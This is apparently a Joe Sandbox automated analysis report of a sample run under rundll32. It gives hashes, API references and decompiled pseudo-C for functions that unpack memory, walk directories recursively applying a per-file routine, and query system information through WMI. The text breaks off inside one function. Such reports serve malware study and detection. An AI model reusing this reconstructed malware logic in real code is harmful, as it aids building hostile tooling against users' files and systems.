Opcode Fuzzy Hash: dcb77b7dde468c4429c3eacf2e802b1e328b244cbed8a4ff464840034cf41f56
Instruction Fuzzy Hash: CEF09870A14248CFCB18CF85C594BECBBB1AF08324F696458D4067B365D775A9D0DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1C80 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00EE1C80

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fdae159f5b63167561a356be9577cc6a5469f915a5d238255440c61cf8b3ecaf
Instruction ID: 304b26d1302b7178c647d6d002c94a896cd183302a80a0389512298c0734a2ce
Opcode Fuzzy Hash: fdae159f5b63167561a356be9577cc6a5469f915a5d238255440c61cf8b3ecaf
Instruction Fuzzy Hash: 8AE01A7094968DCACB04CB92E4456FCB7F0AB0435AF302496D403F6140E3308AC0EA80

Uniqueness

Uniqueness Score: -1.00%

Function 00EE044F Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?), ref: 00EE0BBB

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2efa1e35d57d1254694c6657700579f5ecd92471f7d6fffa99b604cb6f312ba0
Instruction ID: 244fbcd807df9fe39a492895f172f673fa1c8cb56556453b330c90bdc332cc9b
Opcode Fuzzy Hash: 2efa1e35d57d1254694c6657700579f5ecd92471f7d6fffa99b604cb6f312ba0
Instruction Fuzzy Hash: 6AE0BDB6900248EFDB58CB81DD84EBEB7B6FB14304F645480E41273211C372AE80AA20

Uniqueness

Uniqueness Score: -1.00%

Function 00EF911F Relevance: 1.5, APIs: 1, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF911F(long _a4) {
				void* _t2;
				void* _t3;

				_t2 =  *0xf110a4;
				if(_t2 != 0) {
					_t3 = RtlAllocateHeap(_t2, 8, _a4); // executed
					return _t3;
				} else {
					return _t2;
				}
			}

0x00ef9122
0x00ef9129
0x00ef9133
0x00ef913a
0x00ef912c
0x00ef912c
0x00ef912c

APIs

RtlAllocateHeap.NTDLL(?,00000008,?,?,00EF9C58,?,00000144,?,00F0D870), ref: 00EF9133

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e246d4b14a594398389d8110567fd40e3b39d79f1c323516a69e0601f1b31f4d
Instruction ID: 6700080269742a5d0982d458bd88b94fb51b77a8aec84878b9df0c872731eb19
Opcode Fuzzy Hash: e246d4b14a594398389d8110567fd40e3b39d79f1c323516a69e0601f1b31f4d
Instruction Fuzzy Hash: 9DC08C36A8030CABEE201BA8FC08FE5379CBB08A49F018010F70CCA011D732E8506AA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EF910A Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF910A() {
				void* _t1;

				_t1 = HeapCreate(0, 0x96000, 0); // executed
				 *0xf110a4 = _t1;
				return _t1;
			}

0x00ef9113
0x00ef9119
0x00ef911e

APIs

HeapCreate.KERNELBASE(00000000,00096000,00000000,00EF1030), ref: 00EF9113

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: beef6ba63248ffed1d1d8e0da48c7e5718a42d0563a78726fc736f9334ab726b
Instruction ID: ec136f18fe8aab6e4a37d4e6a1ae9d23366cfc3331b8b348fb390cbfa4b9a992
Opcode Fuzzy Hash: beef6ba63248ffed1d1d8e0da48c7e5718a42d0563a78726fc736f9334ab726b
Instruction Fuzzy Hash: 27B01274E813089AD6200B207D06B4535507744B02F150200B3019C1D0C6B11000B505

Uniqueness

Uniqueness Score: -1.00%

Function 00EE0BB1 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?), ref: 00EE0BBB

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 11959dc47cbe69a1d1983ee25c8494f456e1724cc526d44f32103389f00dccd7
Instruction ID: 8996384863e7c5c6a645b37e291d89a64ff34d2e13d92cfd28904caf98fbbc1c
Opcode Fuzzy Hash: 11959dc47cbe69a1d1983ee25c8494f456e1724cc526d44f32103389f00dccd7
Instruction Fuzzy Hash: FEB012210047C8C3EB9516514548BF8BF70FB0231CF54E8C4C1CB7440B8BB48888BB75

Uniqueness

Uniqueness Score: -1.00%

Function 00EFB48B Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00EFB48B(void* __ecx, intOrPtr _a4, signed int _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _t26;
				signed int _t28;
				signed int* _t36;
				signed int* _t39;

				_push(__ecx);
				_push(__ecx);
				_t36 = _a8;
				_t28 = _t36[1];
				if(_t28 != 0) {
					_t39 = _t36[2];
					do {
						_a8 = _a8 & 0x00000000;
						if(_t39[2] > 0) {
							_t31 = _t39[3];
							_t22 = _a4 + 0x24;
							_v12 = _a4 + 0x24;
							_v8 = _t39[3];
							while(E00EFC30F(_t22,  *_t31) != 0) {
								_t26 = _a8 + 1;
								_t31 = _v8 + 4;
								_a8 = _t26;
								_t22 = _v12;
								_v8 = _v8 + 4;
								if(_t26 < _t39[2]) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t36 =  *_t36 |  *_t39;
						}
						L8:
						_t39 =  &(_t39[4]);
						_t28 = _t28 - 1;
					} while (_t28 != 0);
				}
				Sleep(0xa);
				return 1;
			}

0x00efb48e
0x00efb48f
0x00efb492
0x00efb495
0x00efb49a
0x00efb49d
0x00efb4a0
0x00efb4a0
0x00efb4a8
0x00efb4ad
0x00efb4b0
0x00efb4b3
0x00efb4b6
0x00efb4b9
0x00efb4cc
0x00efb4cd
0x00efb4d0
0x00efb4d6
0x00efb4d9
0x00efb4dc
0x00000000
0x00000000
0x00efb4de
0x00000000
0x00efb4dc
0x00efb4e2
0x00efb4e2
0x00efb4e4
0x00efb4e4
0x00efb4e7
0x00efb4e7
0x00efb4ec
0x00efb4f4
0x00efb500

APIs

Sleep.KERNELBASE(0000000A), ref: 00EFB4F4

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 08217b9082e5ef7bad6271b5eb69d65d849b918c69b80f0778264b6cfcde2350
Instruction ID: 1e6c7d9ebbc7dfd517f03b4db43b6976147bf5b85355fd89ea742c3bfd122e36
Opcode Fuzzy Hash: 08217b9082e5ef7bad6271b5eb69d65d849b918c69b80f0778264b6cfcde2350
Instruction Fuzzy Hash: 84112171600309AFDB14CF55D585AA9B7E8FF44324F10C469E96AE7341D774E940CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00EE04E8 Relevance: 1.3, APIs: 1, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00002F24,?,00002F24), ref: 00EE04CD

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 459ceca762080cf357c362edab4f1ee4805586002f586a962786011784d06284
Instruction ID: 042422947770493ef77dc8332ac003e57a6b201c2ca7d144371c396b2a789616
Opcode Fuzzy Hash: 459ceca762080cf357c362edab4f1ee4805586002f586a962786011784d06284
Instruction Fuzzy Hash: A1D01270C053CCEFDB408E918AC47EC7975EB04309F301464A20676142C3340F80A600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EFD213 Relevance: 7.6, APIs: 5, Instructions: 87
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00EFD213(void* __ecx) {
				char _v8;
				void* _v12;
				char* _t15;
				intOrPtr* _t16;
				void* _t21;
				intOrPtr* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;
				void* _t30;
				void* _t33;

				_v12 = 0;
				_v8 = 0;
				__imp__CoInitializeEx(0, 0, _t30, _t33, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t15 =  &_v12;
				__imp__CoCreateInstance(0xf0d848, 0, 1, 0xf0d858, _t15);
				if(_t15 < 0) {
					L5:
					_t23 = _v8;
					if(_t23 != 0) {
						 *((intOrPtr*)( *_t23 + 8))(_t23);
					}
					_t24 = _v12;
					if(_t24 != 0) {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
					_t16 = 0;
				} else {
					__imp__#2(__ecx);
					_t25 = _v12;
					_t21 =  *((intOrPtr*)( *_t25 + 0xc))(_t25, _t15, 0, 0, 0, 0, 0, 0,  &_v8);
					if(_t21 < 0) {
						goto L5;
					} else {
						__imp__CoSetProxyBlanket(_v8, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t21 < 0) {
							goto L5;
						} else {
							_t16 = E00EF911F(8);
							if(_t16 == 0) {
								goto L5;
							} else {
								 *((intOrPtr*)(_t16 + 4)) = _v12;
								 *_t16 = _v8;
							}
						}
					}
				}
				return _t16;
			}

0x00efd220
0x00efd223
0x00efd226
0x00efd237
0x00efd23d
0x00efd24e
0x00efd256
0x00efd2a7
0x00efd2a7
0x00efd2ac
0x00efd2b1
0x00efd2b1
0x00efd2b4
0x00efd2b9
0x00efd2be
0x00efd2be
0x00efd2c1
0x00efd258
0x00efd259
0x00efd25f
0x00efd270
0x00efd275
0x00000000
0x00efd277
0x00efd284
0x00efd28c
0x00000000
0x00efd28e
0x00efd290
0x00efd298
0x00000000
0x00efd29a
0x00efd29d
0x00efd2a3
0x00efd2a3
0x00efd298
0x00efd28c
0x00efd275
0x00efd2c6

APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD226
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD237
CoCreateInstance.OLE32(00F0D848,00000000,00000001,00F0D858,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD24E
SysAllocString.OLEAUT32(00000000), ref: 00EFD259
CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00EFD3CE,00000EFA,00000000,00000000,00000005), ref: 00EFD284

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: Initialize$AllocBlanketCreateInstanceProxySecurityString
String ID:
API String ID: 3531828250-0
Opcode ID: 2263606cbc740df593644bfd7121c9a919d4035ac986172c70dfd55dd336d66e
Instruction ID: 64fec4c97d8a4942cf113a31bca3747c78f37435c9e62a496923222a5acadfa3
Opcode Fuzzy Hash: 2263606cbc740df593644bfd7121c9a919d4035ac986172c70dfd55dd336d66e
Instruction Fuzzy Hash: F8212C30604249BBEB249B96CC4DEABBFBDEFC6B15F10415CB601A72A0C670DA00DA71

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9DA8 Relevance: 3.1, APIs: 2, Instructions: 105
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00EF9DA8(void* __ecx, void* __fp0, intOrPtr _a16) {
				char _v12;
				WCHAR* _v16;
				struct _WIN32_FIND_DATAW _v608;
				WCHAR* _t24;
				intOrPtr _t31;
				intOrPtr _t41;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t54;
				void* _t59;
				char _t60;
				void* _t61;
				void* _t62;
				void* _t63;
				void* _t75;

				_t75 = __fp0;
				_push(0);
				_t48 = __ecx;
				_push(L"\\*");
				_t24 = E00EF9924(__ecx);
				_t63 = _t62 + 0xc;
				_v16 = _t24;
				if(_t24 == 0) {
					return _t24;
				}
				_t59 = FindFirstFileW(_t24,  &_v608);
				if(_t59 == 0xffffffff) {
					L14:
					return E00EF913B( &_v16, 0xfffffffe);
				} else {
					goto L2;
				}
				do {
					L2:
					if(E00EF9D80( &(_v608.cFileName)) != 0) {
						goto L12;
					}
					if((_v608.dwFileAttributes & 0x00000010) != 0) {
						L10:
						_push(0);
						_push( &(_v608.cFileName));
						_push("\\");
						_t60 = E00EF9924(_t48);
						_t63 = _t63 + 0x10;
						_v12 = _t60;
						if(_t60 != 0) {
							_t54 =  *0xf10fa0; // 0x494f8a0
							 *((intOrPtr*)(_t54 + 0xc4))(1);
							_push(1);
							_push(1);
							_push(0);
							E00EF9DA8(_t60, _t75, 1, 5, E00F00A46, _a16);
							_t63 = _t63 + 0x1c;
							E00EF913B( &_v12, 0xfffffffe);
						}
						goto L12;
					}
					_t61 = 0;
					do {
						_push( *((intOrPtr*)(_t61 + 0xf110cc)));
						_push( &(_v608.cFileName));
						_t41 =  *0xf10fe0; // 0x494fbe0
						if( *((intOrPtr*)(_t41 + 0x18))() == 0) {
							goto L8;
						}
						_t45 = E00F00A46(_t75, _t48,  &_v608, _a16);
						_t63 = _t63 + 0xc;
						if(_t45 == 0) {
							break;
						}
						_t46 =  *0xf10fa0; // 0x494f8a0
						 *((intOrPtr*)(_t46 + 0xc4))(1);
						L8:
						_t61 = _t61 + 4;
					} while (_t61 < 4);
					if((_v608.dwFileAttributes & 0x00000010) == 0) {
						goto L12;
					}
					goto L10;
					L12:
				} while (FindNextFileW(_t59,  &_v608) != 0);
				_t31 =  *0xf10fa0; // 0x494f8a0
				 *((intOrPtr*)(_t31 + 0x84))(_t59);
				goto L14;
			}

0x00ef9da8
0x00ef9db4
0x00ef9db6
0x00ef9db8
0x00ef9dbe
0x00ef9dc3
0x00ef9dc6
0x00ef9dcb
0x00ef9ee7
0x00ef9ee7
0x00ef9ddf
0x00ef9de4
0x00ef9ed6
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9dea
0x00ef9dea
0x00ef9df7
0x00000000
0x00000000
0x00ef9e05
0x00ef9e58
0x00ef9e58
0x00ef9e60
0x00ef9e61
0x00ef9e6c
0x00ef9e6e
0x00ef9e71
0x00ef9e76
0x00ef9e78
0x00ef9e80
0x00ef9e86
0x00ef9e88
0x00ef9e8a
0x00ef9e9f
0x00ef9ea4
0x00ef9ead
0x00ef9eb3
0x00000000
0x00ef9e76
0x00ef9e07
0x00ef9e09
0x00ef9e09
0x00ef9e15
0x00ef9e16
0x00ef9e20
0x00000000
0x00000000
0x00ef9e2d
0x00ef9e32
0x00ef9e37
0x00000000
0x00000000
0x00ef9e39
0x00ef9e40
0x00ef9e46
0x00ef9e46
0x00ef9e49
0x00ef9e56
0x00000000
0x00000000
0x00000000
0x00ef9eb4
0x00ef9ec2
0x00ef9eca
0x00ef9ed0
0x00000000

APIs

FindFirstFileW.KERNEL32(00000000,?,?,00000000,00000000), ref: 00EF9DD9
FindNextFileW.KERNEL32(00000000,?), ref: 00EF9EBC

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: 23f45cb40793a82b88951faa520fcb3b54ca9e0e967a3e72d5eba6d32ba90d9c
Instruction ID: d845cb975a78e29a9547aa099ef4430e8b0383e477dd239ca0034067e1720509
Opcode Fuzzy Hash: 23f45cb40793a82b88951faa520fcb3b54ca9e0e967a3e72d5eba6d32ba90d9c
Instruction Fuzzy Hash: BC31C571A0021D6FEB20EB64DC8AFBA37E8EB40714F1410A5FB45B61C2EA719D41DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EFB883 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EFB883(void* __ecx) {
				struct _SYSTEM_INFO _v40;
				void* _t5;

				if(__ecx == 0) {
					GetSystemInfo( &_v40);
					return _v40.dwOemId & 0x0000ffff;
				} else {
					_t5 = 9;
					return _t5;
				}
			}

0x00efb88b
0x00efb896
0x00efb8a1
0x00efb88d
0x00efb88f
0x00efb891
0x00efb891

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00EFBD6E,?,?,00000000), ref: 00EFB896

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 0b0d54a4c5ab760c96f15c534db5460dd31929fbfe0e67790ae7b325087f0c5a
Instruction ID: 1f5cb7aebfbb3621a29fa4c46b538fe1e008f714df02a98b23295392a865417c
Opcode Fuzzy Hash: 0b0d54a4c5ab760c96f15c534db5460dd31929fbfe0e67790ae7b325087f0c5a
Instruction Fuzzy Hash: 45C0126160030D56DF04ABA5A6166EA72EC5B44649F1000A5EA07F1081E655DD414261

Uniqueness

Uniqueness Score: -1.00%

Function 00EFD6E7 Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00EFD6E7(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E00EFD213(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E00EF911F(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E00EF913B( &_v60, 0xfffffffe);
					E00EFD2C7( &_v104);
					return _t320;
				}
				_t165 = E00EF90EA(_t255, 0x101c);
				 *_t328 = 0xa18;
				_v52 = _t165;
				_t166 = E00EF90EA(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E00EF9924(_t165);
				_v60 = _t322;
				E00EF9D66( &_v52);
				E00EF9D66( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E00EF90EA(_t255, 0x10b4);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E00EF9D66( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E00EF913B( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E00EF9787(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E00EF9787(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E00EF91B9(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E00EF911F( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E00EF913B(_t136, 0);
								E00EF913B( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E00EF9787(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E00EF90EA(_t281, 0xe23);
								 *_t329 = 0x375;
								_t217 = E00EF90EA(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E00EF911F(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E00EF9D66( &_v92);
											E00EF9D66( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E00EFC08E();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E00EF911F(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E00EF90EA(_t283, 0xedb);
										E00EFC08E( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E00EF9D66( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E00EF9787(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E00EFD5CB( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
